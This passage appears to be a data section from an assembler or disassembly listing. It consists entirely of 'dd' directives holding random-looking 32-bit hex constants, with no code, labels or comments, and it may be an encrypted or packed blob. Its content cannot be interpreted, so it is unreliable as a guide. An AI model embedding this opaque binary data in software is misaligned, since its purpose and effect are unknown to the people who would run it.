dd 0E4C85BD0h, 70B06902h, 0F067D1C9h, 42EE6C8Ah, 0BB346EE5h
dd 0EBAF21B7h, 524B7D6Bh, 5C1C1C19h, 9FC40EABh, 69108FFFh
dd 95208DCFh, 6FF617C2h, 0B99EEC2Fh, 0FF19C49Eh, 0BC469BA0h
dd 0BE454F4Bh, 54649F95h, 29FF8825h, 0E6AF6DE9h, 21998C06h
dd 0D458E1Ah, 469048CDh, 9FABEA47h, 42B494BAh, 0ACD29EC5h
dd 7A89BF38h, 457FBE27h, 60CBE7D0h, 0E90D1530h, 0B6B13500h
dd 0DCAA0811h, 941030A1h, 50701BB1h, 73B551AEh, 2AEF6A79h
dd 0CE9B72F1h, 0D5F86816h, 57839C9h, 0F687DBB6h, 15E65D5Dh
dd 524D1E7Bh, 7E6F2ABDh, 6A66CCB6h, 79EC53A6h, 5B4BC61Dh
dd 4AE934C2h, 9218C9D8h, 4711126Eh, 7FCD18C6h, 6C60C9DCh
dd 0B7A0E53Dh, 0EC09CB21h, 0F91832Ch, 0F163AB99h, 63703900h
dd 0A1E63EEBh, 1BF1DEECh, 0E1A8B03Dh, 1B4894BEh, 8D0749EEh
dd 597AC1A4h, 0D7FA298Fh, 0FEC52619h, 109FD9EFh, 83E317BDh
dd 0CEDCF178h, 24FD8746h, 7D1CF678h, 15EC892Ch, 2CA2CA3h
dd 0CC826D7Eh, 8B57DB36h, 0D221D51Fh, 706D4620h, 3C45E787h
dd 0CEE57E4Ch, 5053A20Bh, 97EFB1E8h, 5FEF7602h, 94B3A141h
dd 0AF2F8ED5h, 1DFDE9E5h, 2FB4C241h, 0D1C34AE0h, 5DCE8327h
dd 427B8968h, 67C40768h, 0F0788C34h, 7E73A145h, 0C1B8F518h
dd 31CED07Ch, 1F6B7B9Dh, 0D52C2F8h, 2E3BBBB7h, 67E23D06h
dd 2E3097DAh, 0A6A4DEE3h, 0B3B19EDBh, 0A6D7B856h, 724F8BA0h
dd 177FF177h, 63EE882Bh, 31F616A8h, 846D116Eh, 0C637F1C0h
dd 26582A81h, 16C3F099h, 9FF3110h, 0E0D71E6Dh, 71BBB107h
dd 0E5296DAFh, 1DC69531h, 150D3F69h, 0EF8C3F3h, 0BC285EDDh
dd 32A5CD4Ch, 7BF66108h, 8AA69D96h, 0C3B0A9CFh, 1B16C6Fh
dd 0E278CE4Dh, 0DA25F450h, 8B560F35h, 4919D4A9h, 14F74ACBh
dd 11F7938Eh, 21136193h, 0CB70866Ch, 64A76CD6h, 5BD3797Eh
dd 8C0F4B64h, 1621A395h, 6A924B47h, 504A0AB5h, 952ACB6Bh
dd 5F5B0EA6h, 4561026Eh, 8E2D83B9h, 8EF12B18h, 0D02C9BCFh
dd 0FB32B41Dh, 90A8A7Ah, 6E7C4678h, 961360B2h, 1BE78A9Bh
dd 93A2F49Eh, 0B988C67Eh, 333E3B72h, 4EDF561Ch, 0BC5B6C3Bh
dd 8940A283h, 2E26B737h, 90C7F715h, 88C9193Dh, 44C1BFDDh
dd 0BB712E1Bh, 0A0095607h, 15BD6F4Fh, 0DBA5ADFFh, 4D5B1449h
dd 0F3438B16h, 136B948Ah, 370817E5h, 9D0EA90Bh, 2314B94Eh
dd 873BDBE2h, 0C399EA34h, 15877FB2h, 8DF2B2C7h, 1C5F91B8h
dd 4694FCEFh, 0DF2702CDh, 5654DA31h, 7D9E2308h, 0E8A1AD97h
dd 417E4825h, 0C4B7E789h, 3E17115Bh, 0C2DF3F06h, 52088F10h
dd 0F676614Eh, 83B01AAFh, 0EB3E76C5h, 37DE8A85h, 59612D74h
dd 0FD3B9FDBh, 7F39F112h, 0EE8532E0h, 93037F1Dh, 0D74AC4CCh
dd 0DB71958Eh, 4A1DFFCAh, 9005A4EBh, 0FA298F38h, 25181A46h
dd 0A490F8BFh, 136ACA91h, 0F24FCCA6h, 2E14581Ch, 0A8C073C2h
dd 65ADE8C4h, 2E0A9EA1h, 0AE1D6484h, 92F1B4CCh, 36E1A8F0h
dd 0F9B8C3D4h, 9305F235h, 0E8AC674Bh, 442314D0h, 5098AB7Eh
dd 9DF705EDh, 0E34475D1h, 76851C7Bh, 0A03FA023h, 828E303Fh
dd 9982E8D6h, 0AC1BC1AAh, 0A9629A33h, 0BE7EA9Bh, 0A6E75B1Ah
dd 0DE4C567Fh, 5E42BFDAh, 0D1A46DC7h, 170EB2D3h, 0ADDD1F03h
dd 0A65E6614h, 0EB8C6C39h, 20436C46h, 77FD1982h, 1512D08Ah
dd 0F88D340Dh, 64816D2Eh, 0FB60A420h, 3584B208h, 0C94B1CD5h
dd 8B8045CDh, 1C8920B9h, 0A11C689Fh, 8630CCE7h, 0D0009EA9h
dd 42D99585h, 0B2C4350Fh, 6C5226FCh, 0ECDD9D3Ch, 0BB9F6C8Eh
dd 5DFC3FB1h, 5EC8B7D3h
dd 0E3D51566h, 0F29C45A1h, 0DD8ABFC5h, 0F087860Ch, 1631A4C7h
dd 0D098705Bh, 50996949h, 0ED33E014h, 0DA728439h, 11216B32h
dd 0ECBB2F50h, 0A6A64803h, 48D24B73h, 3733B6ECh, 57D71036h
dd 0ACFA6FF2h, 25778D3Dh, 2961FDEh, 0D91F9DCBh, 0F3FD3C60h
dd 0E70FE820h, 5A3F6296h, 6CAA86F0h, 8CAFECAAh, 0A50B9A9Eh
dd 55348562h, 0DE1F63C3h, 0C19E3256h, 0B5FC66EDh, 266EC93Eh
dd 56B669C8h, 69047775h, 23A099CBh, 0A08EF497h, 4F978921h
dd 0F0CDF8B5h, 73EAB09Ah, 1E91E549h, 0AFAA3724h, 0D3375E5Eh
dd 0B72BA140h, 47146622h, 0B687AED5h, 0D0BCB3B3h, 0FC600AC2h
dd 230F5231h, 7201A7AEh, 0EC0210E5h, 37FC8A22h, 0F334372Ah
dd 38682564h, 0C10019Ah, 98AE702Ah, 2DBFAA16h, 673F5309h
dd 1FC9BA23h, 92AAD728h, 0E89E0AC1h, 626B125Eh, 993C06AEh
dd 7A28528Ch, 0F4D16BF2h, 8DE590Dh, 0E8322A9Ah, 59CEA4B5h
dd 0E07A5D8Dh, 10CDF2F6h, 259F865h, 0D93C8234h, 0C0FD067h
dd 76C22FD7h, 0DA2376D6h, 0FABD1BDFh, 898F54BCh, 0EF48D88Eh
dd 63EBCC15h, 5702B331h, 8AC8BB2Ch, 4B6529C8h, 32C923Ch
dd 9D2BB54h, 8BC9C2E8h, 5080718Fh, 0B93A0535h, 8E16BD29h
dd 0BD3F95FEh, 9851C718h, 9309723Bh, 4D5F1369h, 13AF21Bh
dd 0FDCB7FDh, 906B4992h, 0EEFF2FABh, 0A34DC31Dh, 62EE8A4Fh
dd 5E718169h, 0EBDCAF83h, 561F509Eh, 43DEBC00h, 9AB0DC27h
dd 0F4018A96h, 0E3115CD0h, 95523F5Eh, 0DF2250F6h, 0AE71DE6h
dd 29310C8h, 63D05FDAh, 7C73868Ah, 8E9DC0CEh, 0C3EEFAA2h
dd 0BCB4ED8h, 4EAC7505h, 4059F1E1h, 48572220h, 5C24B72Bh
dd 0D3B5D4DCh, 18D1E8FAh, 34AF9D3h, 29220630h, 88228293h
dd 34CA2B0h, 47DC3E4Bh, 425AA842h, 7B7A909Bh, 0C4D5C200h
dd 0E66268EDh, 8EECFD6Ah, 8F2E84E0h, 18D8949Fh, 7BC81E4Fh
dd 0BBD39A78h, 5607C80Bh, 0CAB846EEh, 0B35F7AAEh, 0E638F2D3h
dd 0C5A43499h, 76FFC424h, 758BEB5Dh, 0ED89BED5h, 0A08C95DCh
dd 60646717h, 1742FA90h, 8303C339h, 0C1BAAFA9h, 21F07B2h
dd 0FAE6A4ADh, 0DE53543Eh, 0C7C0009Eh, 0F35FD2B3h, 0AC579186h
dd 9D0418AFh, 1B77BB7h, 0C525BD93h, 0B6A1B71Dh, 0EEE7E7Eh
dd 0AC4955F5h, 1486E1EAh, 98381542h, 0D4E5EC06h, 53B3E827h
dd 8F61E4CFh, 337F29D8h, 0F48DC069h, 0FBDE46AFh, 0D5C27D5Dh
dd 0C338310Ch, 7CE2B81Ah, 0EE5BB20Bh, 27686BC6h, 0AFB55F85h
dd 0B485D70Fh, 0CA2D9270h, 0CFF50ECFh, 134FF18Ah, 83D3D5D5h
dd 7D4CD135h, 0AFFA9ED8h, 24B88424h, 40142C7Ah, 0E07C33ADh
dd 7F208382h, 35D07F8Fh, 0B77EA627h, 0A4963071h, 0E0F5329Fh
dd 0AF2CEC7Ch, 0E28EDD17h, 988EFF00h, 1E7C62F3h, 1DFDAF43h
dd 96A252A2h, 0F5B35E2Fh, 0E9901C4Dh, 5112BAEBh, 0B27DEE69h
dd 0BF231230h, 2BF07E17h, 0A2CC38ABh, 45398C5Bh, 225D6150h
dd 0AC17EC20h, 0CF426BD1h, 61769C75h, 0E1CC15E0h, 0BF0E5E98h
dd 0C25B72F1h, 0AECED05Fh, 0E2C47CDh, 0B776C079h, 6303E4DDh
dd 8DDE59E0h, 8E3EBED8h, 974DA5FFh, 0FD59A1F8h, 0C76C9A11h
dd 0D94F2A1Bh, 0AD2A17E8h, 3DEA6A94h, 1393209Fh, 0A638B0BDh
dd 27816C40h, 0DAF05B90h, 0ECE2948Dh, 0AD4A2D9Eh, 3D95EF51h
dd 94C6C5F4h, 0E53CA0CEh, 8A9ADFBBh, 18931B00h, 0B4B0B0BBh
dd 9BADA995h, 0D712C2CDh, 0C80DE6DDh, 3BF1E680h, 31CFC89h
dd 0EFF40BBEh, 0B438B9F7h, 0E8FC10A8h, 0FE47D352h, 24D7FE08h
dd 3B39968Eh, 79FBA671h, 83EA6C01h, 0DC1260E2h, 25F7DB1h
dd 859AABB7h, 5DD288BAh, 6DA3E6A7h, 0FD6AEBFDh, 1B2FEB53h
dd 0F71ECDC5h, 0B2969E95h, 0B89E7DD6h, 0EACC7440h, 201FF547h
dd 43E7123Bh, 57CD9C08h, 594CAE38h, 9AA8BC81h, 9BD09BDCh
dd 2009FA9Eh, 0C9443F91h, 0DF96F280h, 35277735h, 0C50B09B7h
dd 7E3BF920h, 7174C9B4h, 552DED7Bh, 2D20879h, 8F7DACB4h
dd 9F465D1Eh, 6C06946Ah, 9096C13Bh, 4C35BC8Bh, 2D76E844h
dd 0DAAB4BECh, 0A9087B6Ah, 173F54h, 0C77606FDh, 13DBB5Bh
dd 26C81A33h, 67E55C50h, 1274A5C7h, 62CE1AAh, 9D2022C9h
dd 0A66974CAh, 0B1BDAD9Eh, 6E83445h, 25384591h, 0C40A4502h
dd 0A0CE11DAh, 997FFA9Eh, 0A2067E23h, 0EC513465h, 0EA0D205Bh
dd 0B7F80317h, 71EA0A39h, 0F2E89B65h, 0F8B1E53Dh, 0CF3E5693h
dd 6A81453Eh, 10F64050h, 55F831C1h, 0DF7D1F98h, 0BDE5A18Ah
dd 96E17882h, 98920EEDh, 1CFF8D94h, 0CA4589BAh, 0F9DD348Dh
dd 7EF36A3Fh, 3DA74399h, 8FA2A343h, 0CB3099C3h, 0D09E7425h
dd 901CB50Dh, 3EC4703Ch, 0DF9DA95Bh, 0F0372F81h, 0C28DA670h
dd 0ACCC93DDh, 7F51D118h, 39186BF6h, 880CBE56h, 4F22DE33h
dd 0E6D2E060h, 0EEF949D4h, 0BF2FCE13h, 28F738AAh, 4BB5033Ah
dd 0F9D72F96h, 6D897BACh, 0C65E222h, 0D9B2A90Ch, 47CCB527h
dd 0D20958AAh, 214BBC6h, 351BDF3Eh, 64C2DAA7h, 0DBE0D35Bh
dd 8B2B5006h, 0B5B2F4DEh, 61356A0Dh, 0DA17C55Fh, 8B29FA2Eh
dd 0CAC847BDh, 63C640D1h, 984FFB3Ch, 232DCF2Dh, 0F403CF1Fh
dd 0A54EEF06h, 6542E18Fh, 68FFBD54h, 3F6B04B8h, 0EFBCBCB9h
dd 0DA6C2B30h, 65C1BAC4h, 8E263BDFh, 38CCE623h, 0D73F9851h
dd 509D455Bh, 6EC355A2h, 6F6BE7CFh, 0BB96AEE2h, 5373422Dh
dd 5B5BC59Ch, 3A6F6B53h, 0BDF96F3Dh, 0DDDE04BEh, 17CD892Bh
dd 7A0E8F06h, 0FECB3B5Eh, 0C06350D1h, 77F188A4h, 9A56F6BFh
dd 66E50269h, 7A4B8C4Dh, 29C6C63Bh, 45534D54h, 9841069h
dd 0B3C47B83h, 347A4BB5h, 0EF749BD9h, 3751A359h, 0C487E7EEh
dd 970D27DFh, 732A305h, 0CE1684A9h, 13A8F5A0h, 9561AC4h
dd 0F16B63EAh, 1FBFF507h, 90E0E2Ah, 1A998C55h, 0E545F11Eh
dd 3DA67061h, 0D42C6051h, 255B119Ch, 0F12B1047h, 1B829A44h
dd 0E9E9BFCCh, 58C82D2Bh, 68EC5AF4h, 8C14C19Ch, 8C142D4Dh
dd 5E7F6706h, 3F105DE4h, 9E420885h, 0F25D8FEFh, 5BE43A1Fh
dd 206D1B8Ah, 5983AF65h, 23E9B3ABh, 89860A57h, 869491F4h
dd 0A0C18119h, 0B520CB9Bh, 873361C6h, 0A31A1B44h, 0AD5B210Dh
dd 986A7F76h, 2156A113h, 70BB05A2h, 3821E21Ch, 759F9152h
dd 65A30E63h, 0EB0DFCEDh, 0C06E240Ah, 8227DDEDh, 0EB0ADD9Dh
dd 1C5C504h, 0D37352DCh, 88F44B5Ah, 97BD495Eh, 0F104E52Ah
dd 4F04BC2Bh, 68171CE6h, 0C8B67DC5h, 0FC66CE15h, 2E3331E4h
dd 26AFA7BCh, 9EC04B81h, 9E4C15C7h, 8CC704F1h, 0B3CB5113h
dd 62783F75h, 28B2E5F7h, 0A9B01751h, 0CD23D9ADh, 9C67C898h
dd 4B8EFA4Bh, 51B22CDEh, 82D4B006h, 98E297A0h, 0A4E8A571h
dd 0F309C6A2h, 0F43ADDF3h, 9EAD405Eh, 0F1FB3543h, 0E0D27C63h
dd 0F119C32h, 8C9808E4h, 4D46B8D8h, 84E5CF1Dh, 0FB3A7CC0h
dd 0B04D63D1h, 0E42E971Ah, 748E2F3Bh, 99F6029Eh, 635BBFD6h
dd 7637F818h, 0F623EC8Ch, 3620FF8Eh, 0AFCBBBFFh, 3509A4B1h
dd 0D230FD28h, 9D5B1BD3h, 4DA4EAB6h, 45C82CF2h, 0BE7DC52Bh
dd 867CCFFDh, 7D50CB0Ch, 2196E481h, 3FB6E89Bh, 0A9B46BAh
dd 0DCBDF97Dh, 94A7F090h, 0B57E0346h, 0D75F51CFh, 0A62761F8h
dd 0BF4D36E1h, 1AE7CB6Dh, 673B1B08h, 0E583907Fh, 0D7036A2Ch
dd 27D75F41h, 7ED3639Fh, 7D8CE2E3h, 0C0118984h, 0E46E6428h
dd 28786E6Eh, 0B78B8558h, 77ADEC02h, 88B435E9h, 1BF796E0h
dd 80E2989Ah, 0B4609778h, 955C52CAh, 0B6E4DEC3h, 4451FB84h
dd 2417C3F2h, 0B1FCACBBh
dd 0BC7BF5EAh, 750667BEh, 50EF6C79h, 376E800Bh, 0D5ECDA5h
dd 0DCE8516Eh, 0B5848CC0h, 354B1B9Bh, 9F243325h, 7C5D94Fh
dd 0B6A38667h, 0DB945325h, 0EE424E7Bh, 3001189Eh, 0CCBD8F62h
dd 6D844DAAh, 4B6DE4B9h, 46570389h, 447272E1h, 73789582h
dd 9620D1DFh, 0B5D5AA61h, 0B5CC76Dh, 84C35D8Ah, 0C2080D9Dh
dd 44044894h, 0C31CEB1Ah, 8CC2FBDh, 0A8A23732h, 67875FFh
dd 0F5C739FFh, 36B7CB93h, 0B3824EC4h, 7D8FEF67h, 17C34457h
dd 6B90A09h, 58B57306h, 0A8E7461Eh, 179E02A3h, 0C643D2A3h
dd 8A5D4621h, 0BCF63127h, 929CB949h, 0EF1AE363h, 0A1BD618Dh
dd 41191300h, 91DF3FC7h, 0DFF3C426h, 43AB992Bh, 74354D15h
dd 13D2CE2Bh, 309B1582h, 538454B8h, 0AE831294h, 30DD66E6h
dd 3243FB44h, 0E30E1951h, 0F564287Ch, 1270C6C6h, 2826FA7Eh
dd 0D111A9CEh, 8C1D9C70h, 88474E8h, 42AC6E54h, 0D76BDC19h
dd 0B00197A9h, 14EF0D27h, 817455E8h, 6FB85732h, 3ED0D517h
dd 10936EBFh, 0A0D2D50Ch, 0A147782Bh, 0F4680077h, 0C378E723h
dd 60FDC60Dh, 397AD0F7h, 527657FCh, 2650BD08h, 4FF55322h
dd 62489C3Dh, 0A4D097C7h, 0D620C569h, 0BA635854h, 18097A1Ch
dd 92B72BCCh, 57E6D9DEh, 8D0CF4F6h, 0AEAB6DE6h, 0E8B13B86h
dd 0A0A1C6E2h, 0EE7C0A56h, 0C76C7F55h, 0E358EC37h, 0D614CE73h
dd 2F3EDFBh, 0CC928F4Eh, 3DAAE800h, 857F4F54h, 0FBE56D46h
dd 0A601B4D6h, 5A0BB904h, 2FBD6D04h, 0FF18F328h, 0E38C1B5Fh
dd 0BCCEB78Bh, 2DA58E29h, 0D2864776h, 98C23584h, 465CADA0h
dd 0BC07CB23h, 0EF7B3362h, 3F1D9087h, 20FDF4C6h, 0FB9081B2h
dd 70AE1E7Eh, 0A61B9FF9h, 0EB07E42Fh, 76EB8BEEh, 14E36660h
dd 984DC3ABh, 0D8625D61h, 0ED01921Fh, 0F96CA3A5h, 411B4AF0h
dd 7179F743h, 0E252F2F0h, 25E5D9A0h, 0E96ECE79h, 9D6A46BEh
dd 5E7A0B39h, 8C7E2C66h, 0A3B25FE2h, 6A779CEDh, 38CAC394h
dd 0CA5BF915h, 44626F17h, 0C0A2DDD7h, 0CD0478E5h, 0B048C643h
dd 0D33B1E4Fh, 0AB6FA836h, 491DCA26h, 75CE09E2h, 0DD1DF101h
dd 0D79B811Ah, 0B36BB208h, 59F5BD32h, 0CCCFEA33h, 5C7E8EE9h
dd 1CA3D4A8h, 0B7F1DE32h, 2BA48088h, 0E3EEA127h, 75ACE9EBh
dd 0FF3DD61Bh, 0FC3AD032h, 299EFD80h, 0E73FDE7Bh, 56B4D855h
dd 0E2D2B00Eh, 1DBDDF7Ch, 0B0F43A65h, 3EC7B6DEh, 0CD00AAE2h
dd 1E4D729Fh, 5E278FDh, 0C7FD3C33h, 310544C6h, 91B210ACh
dd 924E1A4Eh, 547E4E17h, 0B14C6EC1h, 388304B8h, 758ED2C2h
dd 3D2B9021h, 0E10C32ECh, 94999014h, 0B2FA9B07h, 0DFADF19Dh
dd 0FCBCA90Bh, 0AE6D2E31h, 5F157DF8h, 447C1DB9h, 398EA984h
dd 0E4E84137h, 0FBE816BBh, 0E8214FBBh, 7E1D19D6h, 72E0811Fh
dd 6BCB811Eh, 0B18FB0EFh, 9568C677h, 0BCF591C4h, 7BC48438h
dd 0B11288Ah, 181924EDh, 53694692h, 356B4836h, 135421CFh
dd 0EDFB13CEh, 0D47AB1E4h, 865C52CBh, 0D5BDC5A3h, 83B09237h
dd 0DBCC9BAh, 5FD9B008h, 10A856DDh, 47F099F9h, 27B960D6h
dd 26FE73EAh, 567C12B7h, 3E3D1C18h, 2928CA91h, 52B26076h
dd 0B6BE2A15h, 0E6696B95h, 32CF6155h, 0E7A61D35h, 0AEE8B12Ah
dd 0F7A2125Eh, 5D71C829h, 89CA7167h, 898B552Fh, 7B606F82h
dd 0B924FCDh, 191C69B0h, 3E5907B7h, 0DF36F959h, 9B0D6C81h
dd 94962405h, 999EC6CAh, 0A38C51DEh, 7D92BBACh, 2A559FBEh
dd 869F35Eh, 58AD7667h, 0FB971FB2h, 0DEB451AFh, 0A8B5E682h
dd 0DA67AB0Eh, 5D626F0Dh, 54D1A349h, 0ED483362h, 0DA6FF0ECh
dd 0C7E1E71Fh, 751519E8h, 8CFE2629h, 0B83E66EFh, 8AD062FBh
dd 7BF99068h, 8B1E59FCh, 1629E45Fh, 807F356Ch, 0E1DAD61Dh
dd 0BBC65456h, 0D2243545h, 781403CAh, 83886717h, 23737A29h
dd 36A2AF3Dh, 0B52B130Dh, 5B490B08h, 8D73FC71h, 680CD94Ah
dd 0C1AFC5C1h, 73860C98h, 2F95B562h, 8019CF3Ch, 0D2DD7C0Dh
dd 93AC5788h, 7F363h, 0F4D56EDFh, 4AE504B6h, 8AE10C61h
dd 40204C8Bh, 48E3D0EDh, 3FCDABCBh, 119C7054h, 588C4446h
dd 0BA21B7E5h, 0BD14D05Fh, 42B7A034h, 169D5F51h, 0F44A6637h
dd 0A8D1B315h, 811CA93h, 0A2B6AEA7h, 0DAD1B421h, 6150F8E0h
dd 3AA3ADA4h, 425BB76Dh, 988565C2h, 0E5ECECCFh, 4AB6C681h
dd 430D9921h, 17F9E6B0h, 3D3DDACDh, 2DD68C11h, 0B896ACBFh
dd 5CB37406h, 4219B5E9h, 63699FFAh, 39C195AEh, 0BA9769ABh
dd 0C25C8E05h, 0C991E8A5h, 0E4E5EFC8h, 7A691E5Bh, 0D459F491h
dd 165C0689h, 0D87189FFh, 0A7425E6Eh, 0BF84B387h, 0AB73C1E9h
dd 809D32DEh, 0D076BC2Ah, 5B04223Ah, 0E7847A6Fh, 0BAB01CB4h
dd 8E8DD38Ch, 0DF7BBAF7h, 485E8BFBh, 118F8C03h, 25E917ABh
dd 934BB16Eh, 0CAD15563h, 2F482CA9h, 2034C081h, 0FF74B866h
dd 2309543h, 7B3CB475h, 25A58AE1h, 102CAF05h, 0E6822CA8h
dd 0C72FB5D3h, 15354A23h, 7B761A78h, 493F1300h, 46286C5Ch
dd 74FD4B93h, 338C9169h, 0C438D92Dh, 32E84845h, 6D4287E9h
dd 3364D202h, 7445EAC3h, 54FE2B4Ah, 606DAEA8h, 1E6174BBh
dd 0F8C3959h, 186EF9C9h, 91D4CE39h, 0ADB20AD9h, 80E6854Dh
dd 0B01DA7E8h, 79712219h, 7BC714BFh, 67D724D7h, 0AE012B3Bh
dd 6EDF9487h, 85615E05h, 7E4091CDh, 30A56496h, 47FA478h
dd 0D94943Ch, 763C8C6h, 6CB167EFh, 0FCAC09F1h, 9A99FC86h
dd 0D74FFA1Dh, 734D8E0h, 0D78BA6DCh, 32476794h, 51191D67h
dd 11D259F9h, 0B8A95DBBh, 8B7DF443h, 18E6E761h, 4F2124DBh
dd 8BDBF535h, 0E693C059h, 6EAA82C0h, 4310F983h, 0ED2F53B6h
dd 10CE2EBFh, 0FDD57BCCh, 0F4B80570h, 9930FBB1h, 0A6B5851Ah
dd 0ED907665h, 34B22F1h, 0AA90B259h, 535C7EF3h, 8BA1D4F3h
dd 0E49174A1h, 7C32EC7h, 4F8991C0h, 31658144h, 350CD038h
dd 7355F5A3h, 77839285h, 0DAC55D5Eh, 3ED7FC9Eh, 15E61458h
dd 2702845Fh, 707ACDAAh, 0B2749177h, 0DDE21D27h, 6D94251Ah
dd 0BA83BE37h, 7A9D23CEh, 0BE9D0531h, 5305F2B3h, 30542D4Fh
dd 0DF5EF654h, 0D2AD8360h, 0ED8F61F2h, 3F10F78Bh, 9A8AA315h
dd 4BC658FAh, 6C244739h, 0EB55C879h, 0BC867C6Fh, 40B262B5h
dd 87380C21h, 813EFD3Fh, 0EB0825BBh, 698C84E3h, 33DECD47h
dd 33674385h, 3C48AA5h, 0A99CE4F2h, 259E2E8h, 832EB3BFh
dd 0FCC005BCh, 67215632h, 0AF05EBB0h, 37240955h, 42FB1942h
dd 20101FFBh, 0A8F844E0h, 733E6Dh, 6D18BD2Ah, 61B9035Dh
dd 0C37D2294h, 0CF9EA119h, 0E7B97CC1h, 31DB7B59h, 8FB4C3AFh
dd 608DE57Fh, 1639D4F7h, 380B513Dh, 0D0066EEDh, 0B53EB800h
dd 0BDA31DE6h, 90F96D4h, 33EAA7ECh, 86D0B0D0h, 83C8A29Ch
dd 0BCE0696h, 0D8B55F15h, 6CF651CBh, 0B303F0FCh, 62F03DCEh
dd 75FF8CC7h, 16BF1169h, 0B2F63406h, 0F8F31584h, 6A3A6877h
dd 0CF051798h, 0F6023A13h, 0BA1AF434h, 6F1BBE15h, 78BF7EBCh
dd 1ABEC1E5h, 0ECDAF0CDh, 4F36DEFFh, 0D3B34512h, 2FA8ABF3h
dd 0A8CBF828h, 0E5F9DA92h, 9C80EBFFh, 0D85F3BA2h, 7D65A110h
dd 0F376F447h, 9E15E85Dh, 1A71B9E4h, 60BD906Dh, 79052C76h
dd 1CEB2A2Bh, 8212F365h, 27C391C2h, 2A6AE593h, 22AE7DD4h
dd 2E85B9CCh, 0D50E81Ah, 0A7599323h, 95573C29h, 9B900476h
dd 0B47208CEh, 0C6831C86h, 0EFA14F38h, 0BE2088C0h, 63CBA16Ah
dd 9E644499h, 0CB12AA2Eh, 0ED7804C9h, 1F44D3F9h, 3BF513E7h
dd 0D1430AEBh, 358BC336h
dd 0B0A88DF8h, 0ECF20150h, 0BF284661h, 85927230h, 81B8D358h
dd 0DCE5283Ah, 0D1F4349Bh, 65F0237Ah, 0C7907C65h, 0CF86BB8Fh
dd 2A2CD8Ah, 44F44050h, 89BAF58Bh, 0DB12A80Ah, 0F9A39723h
dd 0F0BA268h, 94BF3A5Ch, 137CCA82h, 90172710h, 0BAD78CAh
dd 93CB2CE3h, 2AC0BED8h, 1E28E33Ch, 77C6FEC4h, 0CB623FA6h
dd 86F6FCB5h, 0DFC77984h, 6A37036Fh, 0A9EBCDC4h, 2161B047h
dd 961A76BDh, 74C36AFh, 0AFD0309Eh, 34F1B6ECh, 0E7971DFAh
dd 84828624h, 5A02B32Bh, 0A8716C88h, 75231771h, 0E6899B91h
dd 6B4AA387h, 0F2851815h, 42F0C696h, 0B64E2ACFh, 0FD6FAD0h
dd 0D1CF3A1Ch, 94664BC2h, 96990482h, 0D05438CEh, 53BA3427h
dd 1E0F8C55h, 0A34937B4h, 5C58EB12h, 55F2ED3Ah, 0A9C8A342h
dd 6FD0AB02h, 0D2643B5Bh, 8AE3E320h, 0A08C2CC5h, 0DDC3D8FAh
dd 5B406F96h, 0DFF925AEh, 0A697DE73h, 0CFB9A62Bh, 88D473B9h
dd 257246C8h, 0B374A613h, 0CDAE8E4Eh, 0D36C7479h, 65715569h
dd 3687F0B3h, 0FE3A1EFDh, 0C33F91D9h, 0ED87BCE7h, 7819612Ch
dd 4E1860A6h, 9D48E7A0h, 0FCD3BFE0h, 534D14F5h, 0B707823Ch
dd 0E455A1F5h, 0B70CFBC3h, 1F918042h, 0F0149144h, 0E778FE20h
dd 3C7CC8EFh, 0B11CE835h, 0A8AADE26h, 145C6788h, 0CF11218Ch
dd 3D1CD1BAh, 30F6FCBDh, 193A9E06h, 377B897h, 0CFF41D6Eh
dd 6E2EEAF3h, 0B0E27C3Bh, 7A79D7C2h, 8C8929C0h, 3392A3CBh
dd 9EC2DC84h, 0B9708BABh, 0F68F7217h, 0FA29FDDDh, 6B9073E4h
dd 4E3D112Dh, 0E4D792A2h, 8A960A2Ah, 0E04E9825h, 0A58042h
dd 443FAD10h, 0C260C361h, 82D227FAh, 185B304Fh, 13D70EFh
dd 63BC6ACh, 44C4D5CBh, 529522C0h, 90977197h, 5D306DA7h
dd 5B079893h, 0A4C251EBh, 0DCDDC763h, 0C0B56F6Fh, 0FB62428Fh
dd 0F46C60Ch, 5EA0D857h, 0BEA85E1Bh, 34A42409h, 0EBB40207h
dd 6BAE0B30h, 0BC23FE0Eh, 7D9DB555h, 6FD0C3EFh, 0AB88B405h
dd 0E8C6D73h, 5E9FC4DCh, 0E50F16D1h, 4042045h, 0D7FE737h
dd 0F186C7EAh, 3650F306h, 0FEFDCFDAh, 6F89549Fh, 8796CD17h
dd 0D1D43915h, 56738CB9h, 54C68971h, 5C57C0AFh, 3C7B494Dh
dd 7D1FDA9Eh, 2A204AADh, 96FEB68Ch, 3EA7D120h, 6671E629h
dd 0A19ABB6Bh, 0D1DC8747h, 0AA0FEF6Ah, 9495A5F9h, 0FC295784h
dd 0EBB7A9B5h, 890053DBh, 26EC90B3h, 0D5F751E3h, 0B96B2E29h
dd 7A52BBB3h, 105600B3h, 29DA7421h, 14D8D5BDh, 956B3C9Ch
dd 5D11AABCh, 0D46D6C03h, 0FDF136F6h, 1A3BDD2h, 0C824DAB7h
dd 0B498E454h, 705644CAh, 0DFC22A36h, 0C62D4BDDh, 0E40CD313h
dd 0C5AD21EEh, 8128153Ch, 5B1D0506h, 1D2C29D2h, 42163429h
dd 76363A0h, 0E981CCF5h, 3B88C463h, 9FBA31ABh, 0C8991712h
dd 4F64D0h, 0C4137CBBh, 0E00F6859h, 0AFA50B40h, 12F91071h
dd 0DB63F1E7h, 0B21CCC45h, 16A83683h, 96443137h, 3C25EAE4h
dd 1184A313h, 0DB808AEDh, 5F1E6C64h, 4BA932B1h, 5EB9F713h
dd 23E86672h, 0AB4FE8CCh, 0B508C50Eh, 0EC816FFFh, 203035DCh
dd 0F6CB1D35h, 0E1133A3Ah, 0AFA7DF47h, 5B50E6DFh, 0D4A7AC1Dh
dd 719ADDABh, 7D5E293Ah, 20B7A78Ah, 0DA49B6E4h, 234DA4h
dd 6EBADF7Bh, 38AD4870h, 0DE25DB00h, 0E9074D14h, 6C46848Dh
dd 0CC979EFDh, 0A1830284h, 6ED40597h, 0A2F9EDC8h, 0AEEF5FC7h
dd 0D3DBD498h, 25D40FACh, 6E766273h, 26418107h, 5E5CB25Dh
dd 0AAF75AD2h, 7487C71h, 0A3ACF51Ah, 4CFB8256h, 0E271558Fh
dd 0F7857541h, 2ACF1186h, 99A556Bh, 0D98867F7h, 738B35B5h
dd 86304B95h, 867DFC06h, 174843C2h, 5080B55Eh, 663757C7h
dd 19E4D97Ah, 5116FF04h, 0DA231D3Ah, 3444D702h, 44AE373Fh
dd 27D16483h, 9497BEA2h, 1DAAFE21h, 80D61C65h, 48ED4431h
dd 536358ADh, 858005A9h, 0FF5AF9E7h, 2AA3F59Ah, 73A09C88h
dd 0A83FC91Dh, 0EE717F98h, 31698223h, 1E98B504h, 92959CB9h
